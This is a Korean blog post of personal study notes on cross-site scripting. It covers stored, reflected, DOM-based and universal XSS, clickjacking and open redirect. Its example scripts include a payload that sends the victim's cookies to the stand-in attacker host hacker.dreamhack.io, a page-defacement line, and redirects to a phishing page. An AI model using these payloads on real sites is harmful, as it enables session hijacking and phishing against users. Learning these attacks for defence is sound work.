XSS (Client Side)

yamewrong·2023년 1월 4일
0

웹해킹

목록 보기
6/12
post-thumbnail

XSS

Cross Site Scripting

CSS가 아니라 XSS라고 불리는 이유는 CSS언어랑 중복으로 헷갈려서 ㅋㅋ

악의적 사용자가 웹 리소스에 악성 스크립트를 삽입하는 것.

Stored XSS
-> XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflectd XSS
-> XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS
-> XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS ; Framgment는 서버 요청/응답 에 포함되지 않는다.
Universal XSS
-> 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

XSS 스크립트 예시

스크립트 문이 진짜 다양하다

쿠키 및 세션 탈취 공격 하는 코드

<script>
//"hello"문자열을 alert 하려면?
alert("hello"); 
//현재 페이지의 쿠키를 alert 하려면?
alert(document.cookie);
//쿠키를 생성하는 스크립트? (key: name, value:test)
document.cookie="name=test;";
// new Image() 는 이미지를 생성하는 함수.
// src는 이미지의 주소를 지정
// 공격자의 주소를 http://hacker.dreamhack.io라고 한다.
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하면?  
//공격자 주소로 현재 페이지의 쿠키 요청
new Image().src = "http://hacker.dreamhack.io/?cookie="+document.cookie;
</script>

페이지 변조 공격 코드

<script>
//이용자의 페이지 정보에 접근하기 ?
document;
//이용자의 페이지에 데이터를 삽입
document.write("Hacked By Yamewrong !");
</script>

위치 이동 공격 코드

<script>
//이용자의 위치를 변경한다->피싱 공격 등에 사용 가능
location.href="http://hacker.dreamhack.io/phishing";
//새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

이거는 흔히 게시판 같은 공간에 내용물로 스크립트 저장하는 그런거
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS.

Reflected XSS

이거는 이제 URL에 때려 박았던 그런 거
일부 서비스에서 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.
이는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다.
따라서, 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 하므로 script가 포함되어 있는지 눈치채지 못하게 Click Jacking, Open Redirect 등 다른 취약점과 연계.

Click Jacking
사용자가 클릭하고 있다고 인지하는것과 다른 어떤것을 클릭하게 속이는 것.

Open Redirect
사용자로부터 입력되는 값을 위조 또는 변조하여 일반 사용자를 악의적인 사이트로 이동시키는 것.

0개의 댓글